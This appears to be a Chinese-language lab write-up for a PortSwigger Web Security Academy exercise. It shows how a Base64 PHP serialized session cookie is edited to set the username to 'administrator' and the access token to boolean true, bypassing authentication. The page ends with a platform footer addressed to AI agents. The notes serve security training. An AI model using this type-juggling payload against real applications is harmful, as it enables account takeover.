> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/deserialization/changing-serialized-data-types.md).

# 更改序列化数据类型

更改序列化数据类型，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。

### 修改序列化数据类型

**实验目标**

本实验使用基于序列化的会话机制，并存在可绕过身份验证的漏洞。/ 目标是修改会话 cookie 中包含的序列化对象，以访问 \*\*管理员账户\*\*，然后删除该用户 **carlos**.

**初始访问**

你可以使用以下凭据连接：

* **用户**: `wiener`
* **密码**: `peter`

连接后，服务器会返回一个包含以 Base64 编码的序列化对象的会话 cookie。

**已获取会话 Cookie**

会话 cookie 的值如下：

{% code overflow="wrap" %}

```bash
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJybWNjYzI1MzQwcnMyMXF4bnptd2c0ZGd6c2FsZGo1dyI7fQ%3d%3d
```

{% endcode %}

**基础 Base64 解码**

解码后，得到如下序列化的 PHP 对象：

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```

{% endcode %}

该对象表示一个 `用户` 具有两个属性的类：

* `用户名`
* `访问令牌`

**行为分析**

* 如果一个 `访问令牌` 字符被更改时，服务器会返回错误，这表明该字段通常会被验证。
* 该 `用户名` 该字段用于确定用户的角色。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e740fb5c063aaaa92ae962ccbce3b8d18395d477%2F%7B7358AF57-3D07-416F-A880-A933259662B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**漏洞利用**

**已更改的用户名** / 该值 `用户名` 被替换为 `administrator` 通过正确调整字符串长度（`s:13`).

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```

{% endcode %}

**令牌数据类型更改** / 不再提供链式类型 `访问令牌` (`字符串`），其类型被修改为布尔值（`b:1`，相当于 `true`).

最终序列化对象：

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";b:1;}%3d%3d
```

{% endcode %}

重新进行 Base64 编码并插入会话 cookie 后，服务器接受了该对象，而没有正确检查令牌类型。

然后应用程序认为该用户的会话有效 **administrator**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1bf20d106165a7c30a5e5fec24db2c6c5e80c1b%2F%7B3BDF9086-E532-42FC-AE75-6E1FB6A1F6CA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/deserialization/changing-serialized-data-types.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
